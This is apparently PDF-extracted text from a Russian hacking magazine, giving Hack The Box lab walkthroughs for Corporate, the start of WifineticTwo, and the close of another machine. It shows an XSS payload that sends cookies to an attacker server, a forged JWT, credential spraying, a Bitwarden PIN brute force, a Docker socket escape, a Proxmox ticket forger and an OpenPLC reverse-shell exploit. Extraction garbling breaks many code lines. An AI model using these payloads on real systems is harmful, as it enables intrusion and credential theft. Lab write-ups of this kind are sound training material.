При этом имя поль зовате ля дол жно быть записа но в ниж нем регис тре.
Так же обра тим вни мание на най ден ный ранее файл базы дан ных

 с учет ными дан ными PupilPath. Вос поль зуем ся
SQLite для прос мотра дан ных в базе.
pupilpath_credentials.db

sqlite3 pupilpath_credentials.db 
.tables 

Таб лицы в базе дан ных pupilpath_credentials.db

В базе все го одна таб лица — . Прос мотрим ее содер жимое.users

   select * from users;

Дан ные в таб лице users

Здесь сох ранены толь ко име на поль зовате лей и хеши их паролей. Нас инте- 
ресу ет пароль поль зовате ля Susan, так как он откро ет дорогу к . Поп- 

робу ем опре делить алго ритм хеширо вания, вос поль зовав шись ути литой
hashid.

sudo

hashid 
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f 

Оп ределе ние алго рит ма хеширо вания

Ско рее все го, исполь зован алго ритм хеширо вания SHA-256. Теперь мы
можем поп робовать переб рать хеш при помощи  по мас ке

.

hashcat
susan_nasus_?d?d?d?d?d?d?d?d?d

hashcat -m 1400 -a 3 
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f 
susan_nasus_?d?d?d?d?d?d?d?d?d 

Ре зуль тат перебо ра хеша

Спус тя нес коль ко минут получа ем пароль. Исполь зуем его в коман де 

для изме нения кон тек ста безопас ности на  и забира ем пос ледний флаг.

sudo su
root

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/URI-hex.txt
https://github.com/carlospolop/PEASS-ng


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В сегод няшнем про хож дении нам встре тит- 
ся обход CSP, экс плу ата ция XSS и IDOR,
поиск оши бок в коде сай та, похище ние
про филя Firefox, брут PIN от Bitwarden, соз- 
дание токена JWT и дру гие зах ватыва ющие
прик лючения.

На ша цель — получе ние прав супер поль зовате ля на машине Corporate
с учеб ной пло щад ки . Уро вень слож ности — «безум ный».Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.246    corporate.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го один откры тый порт — 80. На нем отве чает веб-сер вер
OpenResty 1.21.4.3. На глав ной стра нице нас встре чает сайт, а так же мы узна- 
ём реаль ный домен.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Ни же на стра нице мож но най ти ссыл ку на дру гой ресурс, рас положен ный
на под домене.

Ошиб ка зап роса к support.corporate.htb

Что бы получить дос туп к ресур су, добавим соот ветс тву ющую запись в файл 

, а затем пов торим обра щение к .

/
etc/hosts support.corporate.htb

10.10.11.246 corporate.htb support.corporate.htb 

Глав ная стра ница support.corporate.htb

Мы наш ли один под домен, а зна чит, могут быть и дру гие. Про верить это лег ко
с помощью ска нера .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — HTTP-заголо вок.• -H

Что бы в вывод ути литы не попада ли абсо лют но все вари анты из спис ка, мож- 
но уста новить филь тр по раз меру стра ницы (параметр ). Мес то перебо ра

помеча ется сло вом FUZZ.

-fs

Ко ман да получа ется сле дующая:

ffuf      128 
 175 
-u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb' -t

-fs -w subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов

Так мы откры ваем три новых под домена, для которых нуж но сде лать запись
в . Затем можем пос мотреть соот ветс тву ющие сай ты./etc/hosts

10.10.11.246 corporate.htb support.corporate.htb git.corporate.htb 
sso.corporate.htb people.corporate.htb 

Глав ная стра ница git.corporate.htb

Глав ная стра ница sso.corporate.htb

Глав ная стра ница people.corporate.htb

К  дос туп получить нель зя,  тре бует авто риза ции, а SSO обес- 
печива ет еди ный механизм аутен тифика ции для всех ресур сов. Воз вра щаем-
ся к чату тех поддер жки и про веря ем встав ку тегов HTML.

git people

Стра ница чата

Наг рузка со сло вом , обер нутым в тег , сра бота ла — сло во отоб- 

ражено жир ным шриф том. Это зна чит, что мож но попытать уда чу с инъ екци ей
XSS.

bolt <b>

ÒÎ×ÊÀ ÎÏÎÐÛ

XSS bypass CSP
Най ти здесь XSS никак не получи лось, а все из-за полити ки CSP, о которой
мож но узнать из отве та веб-сер вера.

От вет сер вера

 — это механизм обес печения безопас ности,
с помощью которо го мож но защищать ся от XSS-атак. CSP опи сыва ет
доверен ные источни ки для заг рузки ресур сов и уста нав лива ет пра вила
исполь зования встро енных скрип тов. Заг рузка с ресур сов, не вхо дящих
в белый спи сок, бло киру ется. Таким обра зом, для экс плу ата ции XSS нуж но
най ти воз можность закинуть код на один из ресур сов .

Content Security Policy

corporate.htb
В это вре мя  опре делил воз можность манипу ляции содер- 

жимым JS-скрип та  через параметр .
Burp Scanner

/assets/js/analytics.min.js v

Зап рос на сер вер

От вет сер вера

Так же наш лась воз можность менять содер жимое стра ницы 404 глав ного сай- 
та, что поз воля ет вста вить теги  и перей ти к уяз вимос ти Self-XSS.<script>

Зап рос на сер вер

От вет сер вера

Та ким обра зом, в файл  мож но вста вить свой

JavaScript-код, который будет отправ лять на наш сер вер cookie поль зовате ля.

/assets/js/analytics.min.js

http://corporate.htb/assets/js/analytics.min.js?v=document.
location=`http://10.10.16.36/${document.cookie}` 

От вет сер вера с наг рузкой

За тем этот скрипт мож но заг ружать в теге  через стра ницу 404 глав- 
ного сай та и при водить наг рузку в дей ствие.

<script>

http://corporate.htb/<script+src='/vendor/analytics.min.js'></script>
<script+src='/assets/js/analytics.min.js?v=document.location=`http://
10.10.16.36/${document.cookie}`'></script>

Что бы поль зователь авто мати чес ки перехо дил по этой ссыл ке, исполь зуем
HTML-инъ екцию тега  с парамет ром .<meta> http-equiv="refresh"

  <meta http-equiv="refresh" content="0;url=http://corporate.htb/<
script+src='/vendor/analytics.min.js'></script><script+src='/assets/
js/analytics.min.js?v=document.location=`http://10.10.16.36/${
document
.cookie}`'></script>">

За пус каем веб-сер вер:

python3 -m http.server 

И отправ ляем наг рузку в чат. Как толь ко поль зователь прос мотрит сооб- 
щение, он авто мати чес ки будет перенап равлен на ,

где через Self-XSS заг рузит ся скрипт  со встро- 
енной JS-наг рузкой для кра жи печенек.

http://corporate.htb/
/vendor/analytics.min.js

Ло ги веб-сер вера

Так как каж дый новый чат будет со слу чай ным сот рудни ком тех поддер жки,
мож но получать cookie раз ных поль зовате лей.

IDOR + Broken Access Control
Что бы получен ные cookie авто мати чес ки при меня лись на всех сай тах, заг- 
ружа емых через , нуж но открыть нас трой ки прок си и ука зать их

в раз деле Match and replace rules.

Burp Proxy

Нас трой ки Burp Proxy

Глав ная стра ница сай та People

Продолжение статьи →
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На стра нице Sharing мож но най ти нес коль ко фай лов, в том чис ле кон фиг
OpenVPN. Офис ные докумен ты ничего инте рес ного не содер жат.

Со дер жимое стра ницы Sharing

Так как обра щение к фай лу про исхо дит через его иден тифика тор, сто ит
переб рать дру гие зна чения : дос туп к фай лам может не кон тро лиро вать ся.
Одна ко в этот раз ничего не получи лось. В допол нение к обна ружен ному
мож но отме тить фун кцию, которая поз воля ет поделить ся фай лом с дру гим
поль зовате лем.

ID

На стра нице Chat есть толь ко окно чата для внут ренних поль зовате лей.
При кли ке на поль зовате ля мож но прос мотреть его про филь.

Со дер жимое стра ницы Chat

Про филь поль зовате ля

Боль ше на сай те ничего инте рес ного най ти не уда лось, поэто му вер немся
и пос мотрим, какие воз можнос ти дает заг рузка и шеринг фай ла. Что бы вой ти
от име ни любого дру гого поль зовате ля, мож но украсть ран домные cookie
через XSS и при менить в Burp Proxy.

Про филь дру гого поль зовате ля

Че рез фор му заг рузки ничего инте рес ного сде лать не получи лось. А вот что- 
бы поделить ся фай лом, сер веру нуж но ука зать ID фай ла и поч товый адрес
поль зовате ля, которо му будет открыт дос туп.

Фай лы поль зовате ля

Зап рос для шерин га фай ла

Хо тя сер вер про веря ет, мож но ли тому или ино му поль зовате лю получить
дос туп к опре делен ному фай лу, при шерин ге это раз решение может и не
дей ство вать. Что бы поп робовать поделить ся все ми фай лами, мож но через
Burp Intruder переб рать их ID в зап росе на шеринг.

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Ког да все зап росы в Burp Intruder выпол нены, сно ва про веря ем фай лы поль- 
зовате ля и находим там боль шой спи сок докумен тов.

Фай лы поль зовате ля

Сре ди бес полез ных фай лов DOCX есть один инте рес ный файл в фор мате
PDF.

Ñáîð èíôîðìàöèè
В PDF есть шаб лон уста нав лива емых для поль зовате лей паролей. Пароли
сос тавля ются по прос той схе ме: стро ка  и дата рож дения

поль зовате ля.

CorporateStarter

Со дер жимое докумен та PDF

Да ту рож дения поль зовате ля лег ко най ти в его про филе. Можем через Burp
Intruder переб рать про фили всех поль зовате лей и выб рать на стра ницах их
име на и даты рож дения.

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Для выбора име ни поль зовате ля и даты рож дения сле дует исполь зовать
опцию grep → Extract.

Вы бор име ни поль зовате ля

Вы бор даты рож дения

Ре зуль тат ата ки

По луча ем таб лицу с дан ными, и теперь нуж но выб рать резуль таты для всех
поль зовате лей. Сох раня ем и в появив шемся окне выбира ем толь ко стол бцы
с име нами и датами рож дения. В качес тве раз делите ля выбира ем запятую.

Сох ранение резуль татов

Те перь нуж но най ти сер висы, в которые мож но попытать ся залоги нить ся.
Под клю чаем ся к VPN, исполь зуя ска чан ный кон фиг, и прос матри ваем добав- 
ленные мар шру ты. Это нуж но для опре деле ния новых сетей, к которым откры- 
вает ся дос туп.

sudo openvpn candido-hackett.ovpn 

Ло ги OpenVPN

Нам дос тупны сети  и . Сна чала прос каниру ем их

и най дем живые хос ты. Nmap с опци ей  выпол нит перебор всех хос тов

в сети.

10.8.0.0/24 10.9.0.0/24
-sn

nmap 200 -sn 10.8.0.0/24 --min-rate=

Ре зуль тат ска ниро вания сети 10.8.0.0/24

nmap 500 -sn 10.9.0.0/24 --min-rate=

Ре зуль тат ска ниро вания сети 10.9.0.0/24

Те перь нуж но прос каниро вать пор ты на най ден ных хос тах. Для это го исполь- 
зуем уже зна комый скрипт, который я при водил в начале статьи.

Ре зуль тат ска ниро вания пор тов хос та 10.8.0.1

Ре зуль тат ска ниро вания пор тов хос та 10.9.0.4

Ад реса  и  при над лежат одно му хос ту, поэто му далее

работать будем толь ко с одним из них.

10.8.0.1 10.9.0.1

Øàáëîííûå ïàðîëè
На хос те 10.9.0.4 работа ют служ бы SSH (порт 22) и NFS (порт 111). Пер вым
делом нуж но переб рать учет ные дан ные на SSH. Но спер ва надо соб рать
спис ки логинов и паролей.

Сна чала из фай ла с сох ранен ными резуль татами ска ниро вания Burp
Intruder ( ) нам нуж но отдель но выб рать име на и даты. Име на сло жим

в файл , даты — в .

names
username.txt date.txt

  ,  1 cat names | cut -d -f > username.txt 
  ,  2 cat names | cut -d -f > date.txt 

Те перь для каж дой даты нуж но сде лать пароль по фор мату, который мы узна- 
ли ранее.

   line  while IFS= read -r ; do
   +  formatted_date=$(date -d "$line" "CorporateStarter%d%m%Y" 2>/dev/

null)
   echo "$formatted_date"
done < date.txt 

Ког да у нас есть фай лы с име нами и пароля ми, их мож но исполь зовать
для бру та служ бы SSH с помощью ути литы . Что бы не переби рались

все воз можные сочета ния логинов и паролей, исполь зуй опцию 

. При этом, что бы перебор про дол жался пос ле обна руже ния пер- 
вой валид ной учет ки, сле дует исполь зовать опцию .

NetExec

--no-
bruteforce

--continue-on-success

 nxc ssh 10.9.0.4 -u username.txt -p password.txt --no-bruteforce
--continue-on-success

Ре зуль тат под бора учет ных дан ных

В ито ге находим четыре пары из логинов и паролей. Что бы опре делить, какая
пред почти тель нее для даль нейшей работы, прос мотрим кон текст каж дой
учет ной записи. Для это го выпол ним коман ды  и  через опцию .id ls -x

 nxc ssh 10.9.0.4 -u nya.little -p CorporateStarter21061965 -x 'id ; 
ls'

Про вер ка кон тек ста поль зовате лей

Поль зователь  вхо дит в груп пу , при этом у него есть окру- 
жение рабоче го сто ла Linux. Про дол жим работу имен но с этой учет ной
записью.

elwin.jones it

Флаг поль зовате ля

Продолжение статьи →
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ÕÎÑÒ WORKSTATION-04

Ñáîð èíôîðìàöèè
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поп робу ем выб рать толь- 
ко то, что потен циаль но приб лизит нас к эска лации прав.

В домаш нем катало ге поль зовате ля есть каталог с про филем бра узе ра
Firefox.

Спи сок фай лов с воз можны ми учет ными дан ными

В сис теме активный сокет , который мож но исполь зовать

для повыше ния при виле гий.

/run/docker.sock

Ак тивные Unix-сокеты

Про веря ем пра ва на этот сокет и видим, что воз можность чте ния и записи
есть у груп пы . Сра зу отме тим ее как потен циаль ную цель.engineer

Пра ва на /run/docker.sock

В про филе Firefox мож но най ти уста нов ленное рас ширение менед жера
паролей Bitwarden.

Рас ширения в про филе Firefox

Ска чива ем на локаль ный хост каталог  про филя

бра узе ра для даль нейше го ана лиза.

tr2cgmb6.default-release

it → engineer
Crack Bitwarden PIN
Ска чива ем каталог с про филем и запус каем на локаль ной машине Firefox,
ука зав при запус ке получен ный про филь.

firefox --profile tr2cgmb6.default-release 

В исто рии зап росов мож но обна ружить, что поль зователь уста нав ливал рас- 
ширение Bitwarden и даже инте ресо вал ся PIN-кодом от хра нили ща.

Ис тория бра узе ра

Ес ли запус тить рас ширение Bitwarden, у нас сра зу будет зап рошен PIN
от хра нили ща поль зовате ля.

Ме нед жер паролей Bitwarden

, узна ём, что PIN Bitwarden мож но сбру тить. Для это го пер- 
вым делом нуж но кон верти ровать базу рас ширения в фор мат JSON.
Нем ного погуг лив

Для кон верти рова ния мож но исполь зовать скрипт . Путь к катало- 
гу с про филем ука зыва ем в парамет ре , а целевую базу —

в парамет ре .

moz-idb-edit
-profile

--dbpath

pipx install git+https://gitlab.com/ntninja/moz-idb-edit.git 

moz-idb-edit -profile firefox/tr2cgmb6.default-release --dbpath 
firefox/tr2cgmb6.default-release/storage/default/moz-
extension+++c8dd0025-9c20-49fb-a398-307c74e6f8b7\^userContextId=
4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite > data.json 

Кон верти рова ние базы рас ширения

Для бру та пина будем исполь зовать ути литу . Пос ле заг рузки
репози тория нем ного под коррек тиру ем исходный код и поп равим путь к фай- 
лу с дан ными.

bitwarden-pin

Со дер жимое фай ла main.rs

Ис прав ленный файл main.rs

Так же необ ходимо изме нить количес тво ите раций. Оно ука зано в парамет ре
.kdfIterations

Со дер жимое фай ла data.json

Ис прав ленный файл main.rs

Ког да все изме нения вне сены, мож но ском пилиро вать и запус тить
. Путь к катало гу с фай лом  нуж но передать

в перемен ной окру жения .

bitwarden-pin data.json
XDG_CONFIG_HOME

cargo build --release

XDG_CONFIG_HOME=/home/ralf/tmp/HTB/corporate/ ./bitwarden-pin/target/
release/bitwarden-pin 

Ре зуль тат под бора PIN

PIN успешно подоб ран, а зна чит, мож но вой ти в менед жер паролей Bitwarden.

Рас ширение Bitwarden

Àíàëèçèðóåì èñõîäíûé êîä
В хра нили ще все го одна запись — с учет ными дан ными для Git.

Учет ные дан ные для Git

Ав торизу емся в Git, где нас встре чает три про екта, которые мы ранее видели
на сер вере.

Дос тупные репози тории

Пот ратив некото рое вре мя, я нашел в одном из ком митов уда лен ный сек рет
JWT.

Ис тория ком митов package.json

Нуж но про верить этот сек рет. Перей дем к одно му из сер висов, из Burp Proxy
возь мем токен JWT и поп робу ем при менить най ден ный сек рет для его рас- 
шифров ки. Работать с JWT будем с помощью .jwt_tool

Глав ная стра ница сер виса

  python3 jwt_tool.py 'eyJhb.....UZm-I' -C -p 
09cb527651c4bd385483815627e6241bdf40042a 

Ре зуль тат про вер ки сек рета

Сек рет валид ный, а зна чит, мож но сге нери ровать и под писать свой токен
JWT.

На сай те исполь зует ся механизм SSO (тех нология еди ного вхо да), а зна- 
чит, изме нение пароля через сайт при ведет к изме нению пароля в сис теме.
За фун кцию сме ны пароля отве чает эндпо инт . Исходный

код обра бот чика мож но най ти в про екте Corporate-SSO.

/reset-password

Пос ле про вер ки JWT (стро ка 108) про исхо дит получе ние таких парамет- 
ров, как имя поль зовате ля, ста рый и новый пароли (стро ки 113–120). Флаг

 (стро ка 122) показы вает, что мож но отклю чить

про вер ку текуще го пароля при уста нов ке нового. Если все про вер ки прой- 
дены, вызыва ется фун кция .

requireCurrentPassword

updateLogin

Со дер жимое фай ла src/app.ts

Внут ри фун кции  выпол няют ся зап росы к базе LDAP. Сна чала

для получе ния дан ных, а потом для изме нения. Перед изме нени ем пароля
про веря ется и роль поль зовате ля, так как сисад минам сме на пароля зап- 
рещена (стро ки 114–117).

updateLogin

Со дер жимое фай ла src/utils.ts

Те перь про верим, какие дан ные содер жит токен JWT. Для это го его нуж но
передать jwt_tool без парамет ров.

python3 jwt_tool.py 'eyJhbGciOiJIUzI.....w6_rGbRUZm-I'

Со дер жимое токена JWT

Продолжение статьи →
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По мимо дан ных поль зовате ля и его ролей, в токене ука зана опция
. Если ее уста новить как , мож но будет изме- 

нить пароль без зна ния текуще го.

requireCurrentPassword false

JWT
Те перь нуж но выб рать поль зовате ля, для которо го сге нери руем токен и сме- 
ним пароль. Раз пароли сисад минов менять нель зя, можем исполь зовать
одно го из инже неров, так как им дос тупна запись в . Это даст

нам воз можность повысить при виле гии.

docker.sock

Отоб рать поль зовате лей с нуж ной ролью мож но все тем же спо собом
в Burp Intruder.

Поль зовате ли с ролью engineer

Поль зовате ли с ролью sysadmin

Для соз дания токена JWT исполь зуем удоб ный сер вис . Запол няем
поля дан ными инже нера gayle.graham, уста нав лива ем сек рет JWT и зада ем
поле  как .

JWT.io

requireCurrentPassword false

{
"id": 5025 ,
"name": "Gayle",
"surname": "Graham",
"email": "gayle.graham@corporate.htb",
"roles": [
  "engineer"
],
"requireCurrentPassword": false,
"iat": 1707897653,
"exp": 1707984053

}

Соз дание токена JWT

Сге нери рован ный токен нуж но уста новить в куки через хра нили ще бра узе ра.
Затем мож но перей ти к стра нице изме нения пароля.

За пись токена

Фор ма изме нения пароля поль зовате ля

Как можешь заметить, в фор ме изме нения пароля есть толь ко поля
для нового пароля. Давай зададим 123456789 и про верим с помощью
NetExec.

nxc ssh 10.9.0.4 -u gayle.graham -p 123456789 

Про вер ка учет ных дан ных

Па роль уста нов лен, а зна чит, мож но получить сес сию поль зовате ля.

Сес сия поль зовате ля gayle.graham

engineer → root
Так как текущий поль зователь име ет пра во записи на , мы
можем повысить при виле гии до рута. Для это го нам пот ребу ется соз дать
свой образ Docker. Пос коль ку на хос те без прав рута это го не сде лать, соз- 
дадим его в сво ей локаль ной сис теме, а затем сох раним в архив.

docker.sock

sudo docker pull alpine 
sudo docker save alpine > docker_alpine.tar 

Пос ле перено са архи ва на уда лен ный хост вос ста новим образ из архи ва.

docker load < docker_alpine.tar 

Соз дание обра за Docker

А теперь через соз дание кон тей нера перехо дим в при виле гиро ван ный кон- 
текст.

  host host host docker run -ti --privileged --net= --pid= --ipc= --volume
/:/host alpine chroot /host 

По луче ние сес сии root

root → corporate sysadmin
Имея пол ные при виле гии, при мон тиру ем уда лен ный ресурс NSF и пос мотрим
его содер жимое.

mkdir /mnt/r 
 mount.nfs 10.9.0.1:/ /mnt/r/ -r -o nolock 

Со дер жимое ресур са NFS

В дирек тории  рас положе ны домаш ние катало ги поль зовате-

лей. Так как мы уже опре дели ли сисад минов, с помощью  перело гиним ся

от име ни одно го из них и прос мотрим содер жимое домаш него катало га.

/home/guests/
su

Со дер жимое домаш него катало га stevie.rosenbaum

Там находим при ват ный ключ SSH, с которым мож но авто ризо вать ся на хос те
Corporate от име ни поль зовате ля sysadmin.

При ват ный ключ поль зовате ля

Сес сия поль зовате ля sysadmin

ÕÎÑÒ CORPORATE

Proxmox
Сно ва собира ем дан ные в сис теме с помощью LinPEAS и находим бэкап:

/var/backups/pve-host-2023_04_15-16_09_46.tar.gzs 

Най ден ные бэкапы

Заг ружа ем архив на локаль ный хост для ана лиза.

scp -i id_rsa sysadmin@10.9.0.1:/var/backups/pve-host-2023_04_15-16_
09_46.tar.gz ./ 

 tar -xf pve-host-2023_04_15-16_09_46.tar.gz 

Де ло в том, что, если фун кция резер вно го копиро вания Proxmox хоть раз
исполь зовалась, архив с резер вной копи ей будет содер жать ключ аутен- 
тифика ции .etc/pve/priv/authkey.key

Со дер жимое фай ла authkey.key

Как ска зано в , этим клю чом под писыва ется тикет
. То есть, имея ключ аутен тифика ции, мож но сге нери ровать

тикет для поль зовате ля , тем самым получив рутовый дос туп.

ис сле дова нии Star Labs
PVEAuthCookie

root@pam
На осно ве скрип та из статьи напишем генера тор тикета .PVEAuthCookie

        
        

import argparse, requests, logging, json, socket, ssl, urllib.parse,
re, time, subprocess, base64, tarfile, io, tempfile, urllib3, sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

  PROXIES = {}
 logging.basicConfig(format='%(asctime)s - %(message)s', level=logging

.INFO)

   def generate_ticket(authkey_bytes, username='root@pam', time_offset=-
30):
       timestamp = hex(int(time.time()) + time_offset)[2:].upper()
   # plaintext = f'PMG:{username}:{timestamp}'
     plaintext = f'PVE:{username}:{timestamp}'

     authkey_path = tempfile.NamedTemporaryFile(delete=False)
   logging.info(f'writing authkey to {authkey_path.name}')
   authkey_path.write(authkey_bytes)
   authkey_path.close()

     txt_path = tempfile.NamedTemporaryFile(delete=False)
   logging.info(f'writing plaintext to {txt_path.name}')
   txt_path.write(plaintext.encode('utf-8'))
   txt_path.close()

   logging.info(f'calling openssl to sign')
        
    
sig = subprocess.check_output(['openssl', 'dgst', '-sha1', '-sign

', authkey_path.name, '-out', '-', txt_path.name])
     sig = base64.b64encode(sig).decode('latin-1')

     ret = f'{plaintext}::{sig}'
   logging.info(f'generated ticket for {username}: {ret}')

    return ret

   if __name__ == '__main__':
      if (len(sys.argv) != 4) :
       print(f'Use: {sys.argv[0]} [priv_key] [target_url] [
target_user]')
       exit(0)

      authkey_bytes = open(sys.argv[1], "rb").read()
      new_ticket = generate_ticket(authkey_bytes, username=sys.argv[3])
   logging.info('veryfing ticket')
       

  
req = requests.get(sys.argv[2], headers={'Cookie': f'

PVEAuthCookie={new_ticket}'}, proxies=PROXIES, verify=False)
     res = req.content.decode('utf-8')
     verify_re = re.compile('UserName: '(.*?)',\n\
s+CSRFPreventionToken:')
     verify_result = verify_re.findall(res)
   logging.info(f'current user: {verify_result[0]}')
   logging.info(f'Cookie: PVEAuthCookie={urllib.parse.quote_plus(
new_ticket)}')

С этим скрип том получа ем тикет.

python3 exploit.py etc/pve/priv/authkey.key https://10.9.0.1:8006/ 
'root@pam'

Соз дание тикета

При меня ем тикет к cookie через хра нили ще бра узе ра и получа ем дос туп
к Proxmox.

Глав ная стра ница Proxmox

Вы бира ем сер вер из спис ка и откры ваем веб-тер минал с пол ными при виле- 
гиями.

Флаг рута

Ма шина зах вачена!

https://jwt.io/
https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/#privilege-escalation-in-pmg-via-unsecured-backup-file
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ВЗЛОМ

Се год ня мы нач нем с необыч ной ата ки:
нашей целью будет интегри рован ная сре да
раз работ ки соф та для индус три аль ных
прог рамми руемых логичес ких кон трол- 
леров (ПЛК). Мы получим дос туп к хос ту
через RCE-уяз вимость и затем взло маем
бес про вод ную точ ку дос тупа.

На ша цель — получе ние прав супер поль зовате ля на машине WineticTwo
с учеб ной пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.7    wifinetictwo.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
8080 — веб-сер вер Werkzeug 1.0.1 на Python 2.•

По логам Nmap мож но сде лать вывод, что сайт не самопис ный, то есть
исполь зует ся какая-то CMS. Прис тупим к его изу чению.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Пе ред нами фор ма авто риза ции в сис теме OpenPLC. Даль ше пути два: поп- 
робовать учет ные дан ные по умол чанию и, если не получит ся, искать
информа цию об уяз вимос тях и готовые экс пло иты для исполь зуемой сис- 
темы.

По иск учет ных дан ных по умол чанию в Google

На ходим дефол тные логин и пароль  и зап росто авто ризу- 
емся с ними в OpenPLC.

openplc:openplc

Глав ная стра ница сай та

А теперь про верим, есть ли для обна ружен ной тех нологии готовые экс пло- 
иты.

По иск экс пло итов в Google

 из Google — на сайт Exploit-DB. При веден ный экс пло ит
для OpenPLC 3 при про хож дении аутен тифика ции спо собен выпол нить про- 
изволь ный код (реверс-шелл).

Пер вая же ссыл ка

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

Ска чива ем скрипт и смот рим, как с ним обра щать ся. Можем прос то запус тить
его и зап росить справ ку парамет ром .-h

Справ ка help экс пло ита

Нуж но задать URL, логин, пароль, а так же IP и порт для под клю чения
реверс-шел ла. Все это мы можем пре дос тавить.

За пус каем лис тенер:

pwncat-cs -lp 4321 

За тем выпол няем скрипт, передав ему URL сер виса (параметр ), учет ные

дан ные (парамет ры  и ), а так же адрес и порт, где работа ет лис тенер.

-u
-l -p

python3 49803.py  -u http://10.10.11.7:8080/ -l openplc -p openplc -i
10.10.16.143 -r 4321 

Вы пол нение экс пло ита

Но скрипт выда ет ошиб ку, а в лис тенере новая сес сия так и не появи лась.
Поп робу ем разоб рать ся, что пош ло не так.

ÒÎ×ÊÀ ÎÏÎÐÛ

От кры ваем исходный код экс пло ита. Нуж но понять, почему он не работа ет,
хотя вер сия OpenPLC под верже на уяз вимос ти. В коде пооче ред но вызыва- 
ются фун кции ,  и . Судя по выводу экс пло ита,

при запус ке эта пы аутен тифика ции и инъ екции про ходят без оши бок. Проб- 
лемы же начина ются в фун кции .

auth injection connection

connection

Ис ходный код экс пло ита

В стро ках 85–92 никаких осо бых дей ствий не про исхо дит — обыч ный зап рос
к ста тичес ким стра ницам, которые дос тупны на сай те. Поэто му будем искать
сбои в коде пос ле 93-й стро ки.

Ис ходный код экс пло ита

Здесь выпол няет ся GET-зап рос к URI, задан ному в парамет ре
. Я пос мотрел его опре деле ние, и мне ста ло инте рес но, что

же это за стра ница — . Но если прос то

открыть этот URL в бра узе ре, никако го вывода мы не получим. Одна ко такой
файл появит ся в спис ке прог рамм на стра нице .

compile_program
